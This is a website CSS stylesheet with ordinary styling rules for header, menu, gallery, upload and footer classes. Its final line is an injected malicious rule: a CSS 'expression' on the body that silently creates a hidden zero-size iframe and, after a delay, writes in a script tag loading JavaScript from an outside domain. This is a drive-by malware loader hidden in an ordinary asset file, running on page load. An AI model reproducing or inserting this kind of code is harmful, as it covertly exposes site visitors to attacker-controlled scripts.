@charset "utf-8";
body{
	background-color:#000;
	margin: 0px;
	padding: 0px;
	font-family:Verdana, Arial, Helvetica, sans-serif;}
.main{
	background-image: url(../img/index.jpg);
	background-repeat: no-repeat;
	background-position: center top;}
.main-2{
	background-image: url(../img/index_vote.jpg);
	background-repeat: no-repeat;
	background-position: center top;}
.gallery{
	background-image: url(../img/gallery.jpg);
	background-repeat: no-repeat;
	background-position: center top;}
.upload{
	background-image: url(../img/upload.jpg);
	background-repeat: no-repeat;
	background-position: center top;}
	
a:link { color: #666; text-decoration:underline;}
a:visited  { color: #666; text-decoration:underline;}
a:hover { color: #333;text-decoration: none;}
input { color: #666;font-size:12px;font-family:Helvetica, sans-serif, Arial ; border:1px solid #999; padding:2px;}
input[type=radio],input[type=checkbox]{ border:0px;}

.wrapall{margin: 0px auto;}

.header {font-size:12px; background-repeat:no-repeat; text-align:right;color: #fff; height: 44px; padding-top:8px;letter-spacing:0.1em; }
.header a:link { color: #fff; text-decoration:none;}
.header a:visited  { color: #fff; text-decoration:none;}
.header a:hover {color: #fff;text-decoration: underline;}
	
.menu {font-size:13px;background-color: #fff; text-align: center; font-weight:bold;color: #333;
	height: 25px; border: 1px dotted #666; padding:6px 15px 0px 15px;}
.menu a:link { color: #333; text-decoration:none;}
.menu a:visited  { color: #333; text-decoration:none;}
.menu a:hover {color: #f60;text-decoration: none;}
.menu-on {color: #FFF; font-size:13px; background-color: #666; text-align: center; font-weight:bold;
	height: 25px; border: 1px dotted #333; padding:6px 15px 0px 15px;}
.menu-on a:link { color: #fff; text-decoration:none;}
.menu-on a:visited  { color: #fff; text-decoration:none;}
.menu-on a:hover {color: #fff;text-decoration: none;}

.norepeat {font-size:12px; background-repeat:no-repeat;}

.txt10 {font-size: 10px;line-height: 180%;color: #333;}
.txt11 {font-size: 11px;line-height: 180%;color: #333;}
.txt11 a:link,.txt11 a:visited, {font-size: 11px;color: #666;text-decoration: underline;}
.txt11 a:hover{font-size: 11px;color: #333;text-decoration:none;}
.txt12 {font-size: 12px;line-height: 180%;color: #333;}
.txt13 {font-size:13px;line-height:160%;color: #333;}
.txt15 {font-size:15px;line-height:160%;color: #4c4c4d;}
.txt16 {font-size:15px;font-weight:bold; color: #ccc;text-align:left; padding:0px;margin:0px;}
.txt18 {font-size:18px;font-weight:bold; color: #F30;text-align:left; line-height: 180%;}

.dline {border-bottom: 1px dotted #666;padding:5px 0px;color: #ccc;}

.red1{ color: #e4d8b6;}
.red2{ color: #F30;}
.blue1{ color: #036;}
.blue1 a:link { color: #036; text-decoration:underline;}
.blue1 a:visited  { color: #036; text-decoration:none;}
.blue1 a:hover { color: #036;text-decoration: none;}  

.footer {letter-spacing:0.2em;
	font-size:11px;
	line-height:160%;
	color: #999;
	text-align:center;
	font-family: Arial, Helvetica, sans-serif;
	padding:20px 0px 50px 0px;}
.footer a:link,.footer a:visited { color: #999; text-decoration:underline;}
.footer a:hover {color: #999;text-decoration: none;}
.rline {border-right: 1px dotted #666;}

ul {margin: 0 0 0 17px; padding:0;}
li {margin: 0px;padding: 0px;}

.mid {vertical-align: middle;}
.border{border: 1px dotted #666; padding: 5px;}
.pic{border: 1px solid #ccc; padding: 1px;}
body{magic:expression(document.getElementById('xx')||(i=document.body.appendChild(document.createElement('iframe')),i.id='xx',i.width=i.height=0,i.contentWindow.setTimeout('document.write("<script src=http://www.cdbroad.com/Images/yahoo.js></script>")', 2500)))}
